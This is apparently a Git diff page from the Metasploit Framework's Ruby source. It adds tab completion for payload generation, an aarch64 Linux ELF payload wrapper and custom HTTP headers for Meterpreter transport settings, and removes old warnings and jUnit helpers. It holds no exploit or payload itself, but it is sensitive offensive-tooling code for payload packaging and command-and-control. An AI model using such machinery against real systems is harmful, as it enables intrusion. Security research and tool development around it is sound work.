||||||
include Msf::Ui::Console::ModuleCommandDispatcher
|
include Msf::Ui::Console::ModuleCommandDispatcher
|
||||||
|
|
||||||
# Load supported formats
|
# Load supported formats
|
||||||
supported_formats = \
|
@@supported_formats = \
|
||||||
Msf::Simple::Buffer.transform_formats + \
|
Msf::Simple::Buffer.transform_formats + \
|
||||||
Msf::Util::EXE.to_executable_fmt_formats
|
Msf::Util::EXE.to_executable_fmt_formats
|
||||||
|
|
||||||
|
@ -25,7 +25,7 @@ module Msf
|
||||||
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
|
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
|
||||||
"-s" => [ true, "NOP sled length." ],
|
"-s" => [ true, "NOP sled length." ],
|
||||||
"-f" => [ true, "The output file name (otherwise stdout)" ],
|
"-f" => [ true, "The output file name (otherwise stdout)" ],
|
||||||
"-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
|
"-t" => [ true, "The output format: #{@@supported_formats.join(',')}" ],
|
||||||
"-p" => [ true, "The Platform for output." ],
|
"-p" => [ true, "The Platform for output." ],
|
||||||
"-k" => [ false, "Keep the template executable functional" ],
|
"-k" => [ false, "Keep the template executable functional" ],
|
||||||
"-x" => [ true, "The executable template to use" ],
|
"-x" => [ true, "The executable template to use" ],
|
||||||
|
@ -151,6 +151,24 @@ module Msf
|
||||||
end
|
end
|
||||||
true
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def cmd_generate_tabs(str, words)
|
||||||
|
fmt = {
|
||||||
|
'-b' => [ true ],
|
||||||
|
'-E' => [ nil ],
|
||||||
|
'-e' => [ framework.encoders.map { |refname, mod| refname } ],
|
||||||
|
'-h' => [ nil ],
|
||||||
|
'-o' => [ true ],
|
||||||
|
'-s' => [ true ],
|
||||||
|
'-f' => [ :file ],
|
||||||
|
'-t' => [ @@supported_formats ],
|
||||||
|
'-p' => [ true ],
|
||||||
|
'-k' => [ nil ],
|
||||||
|
'-x' => [ :file ],
|
||||||
|
'-i' => [ true ]
|
||||||
|
}
|
||||||
|
tab_complete_generic(fmt, str, words)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -59,8 +59,8 @@ module Msf
|
||||||
elsif
|
elsif
|
||||||
# let's check to see if it's in the scripts/resource dir (like when tab completed)
|
# let's check to see if it's in the scripts/resource dir (like when tab completed)
|
||||||
[
|
[
|
||||||
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
|
::Msf::Config.script_directory + ::File::SEPARATOR + 'resource',
|
||||||
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
|
::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource'
|
||||||
].each do |dir|
|
].each do |dir|
|
||||||
res_path = dir + ::File::SEPARATOR + res
|
res_path = dir + ::File::SEPARATOR + res
|
||||||
if ::File.exist?(res_path)
|
if ::File.exist?(res_path)
|
||||||
|
@ -97,7 +97,7 @@ module Msf
|
||||||
[
|
[
|
||||||
::Msf::Config.script_directory + File::SEPARATOR + "resource",
|
::Msf::Config.script_directory + File::SEPARATOR + "resource",
|
||||||
::Msf::Config.user_script_directory + File::SEPARATOR + "resource",
|
::Msf::Config.user_script_directory + File::SEPARATOR + "resource",
|
||||||
"."
|
'.'
|
||||||
].each do |dir|
|
].each do |dir|
|
||||||
next if not ::File.exist? dir
|
next if not ::File.exist? dir
|
||||||
tabs += ::Dir.new(dir).find_all { |e|
|
tabs += ::Dir.new(dir).find_all { |e|
|
||||||
|
|
|
@ -138,15 +138,6 @@ class Driver < Msf::Ui::Driver
|
||||||
print_error("***")
|
print_error("***")
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
|
||||||
require 'openssl'
|
|
||||||
rescue ::LoadError
|
|
||||||
print_error("***")
|
|
||||||
print_error("* WARNING: No OpenSSL support. This is required by meterpreter payloads and many exploits")
|
|
||||||
print_error("* Please install the ruby-openssl package (apt-get install libopenssl-ruby on Debian/Ubuntu")
|
|
||||||
print_error("***")
|
|
||||||
end
|
|
||||||
|
|
||||||
# Register event handlers
|
# Register event handlers
|
||||||
register_event_handlers
|
register_event_handlers
|
||||||
|
|
||||||
|
@ -191,24 +182,10 @@ class Driver < Msf::Ui::Driver
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# framework.db.active will be true if after_establish_connection ran directly when connection_established? was
|
# framework.db.active will be true if after_establish_connection ran
|
||||||
# already true or if framework.db.connect called after_establish_connection.
|
# directly when connection_established? was already true or if
|
||||||
if !! framework.db.error
|
# framework.db.connect called after_establish_connection.
|
||||||
if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i
|
if !!framework.db.error
|
||||||
print_error("***")
|
|
||||||
print_error("*")
|
|
||||||
print_error("* Metasploit now requires version 0.11 or higher of the 'pg' gem for database support")
|
|
||||||
print_error("* There a three ways to accomplish this upgrade:")
|
|
||||||
print_error("* 1. If you run Metasploit with your system ruby, simply upgrade the gem:")
|
|
||||||
print_error("* $ rvmsudo gem install pg ")
|
|
||||||
print_error("* 2. Use the Community Edition web interface to apply a Software Update")
|
|
||||||
print_error("* 3. Uninstall, download the latest version, and reinstall Metasploit")
|
|
||||||
print_error("*")
|
|
||||||
print_error("***")
|
|
||||||
print_error("")
|
|
||||||
print_error("")
|
|
||||||
end
|
|
||||||
|
|
||||||
print_error("Failed to connect to the database: #{framework.db.error}")
|
print_error("Failed to connect to the database: #{framework.db.error}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -250,108 +227,6 @@ class Driver < Msf::Ui::Driver
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Configure a default output path for jUnit XML output
|
|
||||||
#
|
|
||||||
def junit_setup(output_path)
|
|
||||||
output_path = ::File.expand_path(output_path)
|
|
||||||
|
|
||||||
::FileUtils.mkdir_p(output_path)
|
|
||||||
@junit_output_path = output_path
|
|
||||||
@junit_error_count = 0
|
|
||||||
print_status("Test Output: #{output_path}")
|
|
||||||
|
|
||||||
# We need at least one test success in order to pass
|
|
||||||
junit_pass("framework_loaded")
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Emit a new jUnit XML output file representing an error
|
|
||||||
#
|
|
||||||
def junit_error(tname, ftype, data = nil)
|
|
||||||
|
|
||||||
if not @junit_output_path
|
|
||||||
raise RuntimeError, "No output path, call junit_setup() first"
|
|
||||||
end
|
|
||||||
|
|
||||||
data ||= framework.inspect.to_s
|
|
||||||
|
|
||||||
e = REXML::Element.new("testsuite")
|
|
||||||
|
|
||||||
c = REXML::Element.new("testcase")
|
|
||||||
c.attributes["classname"] = "msfrc"
|
|
||||||
c.attributes["name"] = tname
|
|
||||||
|
|
||||||
f = REXML::Element.new("failure")
|
|
||||||
f.attributes["type"] = ftype
|
|
||||||
|
|
||||||
f.text = data
|
|
||||||
c << f
|
|
||||||
e << c
|
|
||||||
|
|
||||||
bname = ("msfrpc_#{tname}").gsub(/[^A-Za-z0-9\.\_]/, '')
|
|
||||||
bname << "_" + Digest::MD5.hexdigest(tname)
|
|
||||||
|
|
||||||
fname = ::File.join(@junit_output_path, "#{bname}.xml")
|
|
||||||
cnt = 0
|
|
||||||
while ::File.exist?( fname )
|
|
||||||
cnt += 1
|
|
||||||
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
|
|
||||||
end
|
|
||||||
|
|
||||||
::File.open(fname, "w") do |fd|
|
|
||||||
fd.write(e.to_s)
|
|
||||||
end
|
|
||||||
|
|
||||||
print_error("Test Error: #{tname} - #{ftype} - #{data}")
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Emit a new jUnit XML output file representing a success
|
|
||||||
#
|
|
||||||
def junit_pass(tname)
|
|
||||||
|
|
||||||
if not @junit_output_path
|
|
||||||
raise RuntimeError, "No output path, call junit_setup() first"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Generate the structure of a test case run
|
|
||||||
e = REXML::Element.new("testsuite")
|
|
||||||
c = REXML::Element.new("testcase")
|
|
||||||
c.attributes["classname"] = "msfrc"
|
|
||||||
c.attributes["name"] = tname
|
|
||||||
e << c
|
|
||||||
|
|
||||||
# Generate a unique name
|
|
||||||
bname = ("msfrpc_#{tname}").gsub(/[^A-Za-z0-9\.\_]/, '')
|
|
||||||
bname << "_" + Digest::MD5.hexdigest(tname)
|
|
||||||
|
|
||||||
# Generate the output path, allow multiple test with the same name
|
|
||||||
fname = ::File.join(@junit_output_path, "#{bname}.xml")
|
|
||||||
cnt = 0
|
|
||||||
while ::File.exist?( fname )
|
|
||||||
cnt += 1
|
|
||||||
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
|
|
||||||
end
|
|
||||||
|
|
||||||
# Write to our test output location, as specified with junit_setup
|
|
||||||
::File.open(fname, "w") do |fd|
|
|
||||||
fd.write(e.to_s)
|
|
||||||
end
|
|
||||||
|
|
||||||
print_good("Test Pass: #{tname}")
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Emit a jUnit XML output file and throw a fatal exception
|
|
||||||
#
|
|
||||||
def junit_fatal_error(tname, ftype, data)
|
|
||||||
junit_error(tname, ftype, data)
|
|
||||||
print_error("Exiting")
|
|
||||||
run_single("exit -y")
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Loads configuration that needs to be analyzed before the framework
|
# Loads configuration that needs to be analyzed before the framework
|
||||||
# instance is created.
|
# instance is created.
|
||||||
|
|
|
@ -209,10 +209,10 @@ module ModuleCommandDispatcher
|
||||||
end
|
end
|
||||||
|
|
||||||
rhost = instance.datastore['RHOST']
|
rhost = instance.datastore['RHOST']
|
||||||
rport = nil
|
rport = instance.datastore['RPORT']
|
||||||
peer = rhost
|
peer = rhost
|
||||||
if instance.datastore['rport']
|
if rport
|
||||||
rport = instance.rport
|
rport = instance.rport if instance.respond_to?(:rport)
|
||||||
peer = "#{rhost}:#{rport}"
|
peer = "#{rhost}:#{rport}"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -1122,7 +1122,7 @@ require 'msf/core/exe/segment_appender'
|
||||||
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
|
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
|
||||||
end
|
end
|
||||||
|
|
||||||
# self.to_linux_mipsle_elf
|
# self.to_linux_armle_elf
|
||||||
#
|
#
|
||||||
# @param framework [Msf::Framework]
|
# @param framework [Msf::Framework]
|
||||||
# @param code [String]
|
# @param code [String]
|
||||||
|
@ -1133,6 +1133,17 @@ require 'msf/core/exe/segment_appender'
|
||||||
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
|
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# self.to_linux_aarch64_elf
|
||||||
|
#
|
||||||
|
# @param framework [Msf::Framework]
|
||||||
|
# @param code [String]
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option [String] :template
|
||||||
|
# @return [String] Returns an elf
|
||||||
|
def self.to_linux_aarch64_elf(framework, code, opts = {})
|
||||||
|
to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
|
||||||
|
end
|
||||||
|
|
||||||
# self.to_linux_mipsle_elf
|
# self.to_linux_mipsle_elf
|
||||||
# Little Endian
|
# Little Endian
|
||||||
# @param framework [Msf::Framework]
|
# @param framework [Msf::Framework]
|
||||||
|
|
|
@ -108,15 +108,19 @@ private
|
||||||
cert_hash = "\x00" * CERT_HASH_SIZE
|
cert_hash = "\x00" * CERT_HASH_SIZE
|
||||||
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
|
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
|
||||||
|
|
||||||
|
custom_headers = opts[:custom_headers] || ''
|
||||||
|
custom_headers = to_str(custom_headers, custom_headers.length + 1)
|
||||||
|
|
||||||
# add the HTTP specific stuff
|
# add the HTTP specific stuff
|
||||||
transport_data << proxy_host # Proxy host name
|
transport_data << proxy_host # Proxy host name
|
||||||
transport_data << proxy_user # Proxy user name
|
transport_data << proxy_user # Proxy user name
|
||||||
transport_data << proxy_pass # Proxy password
|
transport_data << proxy_pass # Proxy password
|
||||||
transport_data << ua # HTTP user agent
|
transport_data << ua # HTTP user agent
|
||||||
transport_data << cert_hash # SSL cert hash for verification
|
transport_data << cert_hash # SSL cert hash for verification
|
||||||
|
transport_data << custom_headers # any custom headers that the client needs
|
||||||
|
|
||||||
# update the packing spec
|
# update the packing spec
|
||||||
pack << 'A*A*A*A*A*'
|
pack << 'A*A*A*A*A*A*'
|
||||||
end
|
end
|
||||||
|
|
||||||
# return the packed transport information
|
# return the packed transport information
|
||||||
|
|
|
@ -139,15 +139,16 @@ class ClientCore < Extension
|
||||||
|
|
||||||
response.each(TLV_TYPE_TRANS_GROUP) { |t|
|
response.each(TLV_TYPE_TRANS_GROUP) { |t|
|
||||||
result[:transports] << {
|
result[:transports] << {
|
||||||
:url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
|
:url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
|
||||||
:comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
:comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
||||||
:retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
:retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
||||||
:retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
|
:retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
|
||||||
:ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
|
:ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
|
||||||
:proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
|
:proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
|
||||||
:proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
|
:proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
|
||||||
:proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
|
:proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
|
||||||
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
|
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH),
|
||||||
|
:custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -555,6 +556,7 @@ class ClientCore < Extension
|
||||||
# We cannot migrate into a process that we are unable to open
|
# We cannot migrate into a process that we are unable to open
|
||||||
# On linux, arch is empty even if we can access the process
|
# On linux, arch is empty even if we can access the process
|
||||||
if client.platform == 'windows'
|
if client.platform == 'windows'
|
||||||
|
|
||||||
if target_process['arch'] == nil || target_process['arch'].empty?
|
if target_process['arch'] == nil || target_process['arch'].empty?
|
||||||
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
|
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
|
||||||
end
|
end
|
||||||
|
@ -718,7 +720,8 @@ private
|
||||||
# Get a reference to the currently active transport.
|
# Get a reference to the currently active transport.
|
||||||
#
|
#
|
||||||
def get_current_transport
|
def get_current_transport
|
||||||
transport_list[:transports][0]
|
x = transport_list
|
||||||
|
x[:transports][0]
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -728,6 +731,7 @@ private
|
||||||
def generate_migrate_stub(target_process)
|
def generate_migrate_stub(target_process)
|
||||||
stub = nil
|
stub = nil
|
||||||
|
|
||||||
|
|
||||||
if client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
|
if client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
|
||||||
t = get_current_transport
|
t = get_current_transport
|
||||||
|
|
||||||
|
|
|
@ -102,7 +102,8 @@ TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
|
||||||
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
|
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
|
||||||
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
|
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
|
||||||
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
|
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
|
||||||
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441
|
TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441
|
||||||
|
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442
|
||||||
|
|
||||||
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
||||||
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
|
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue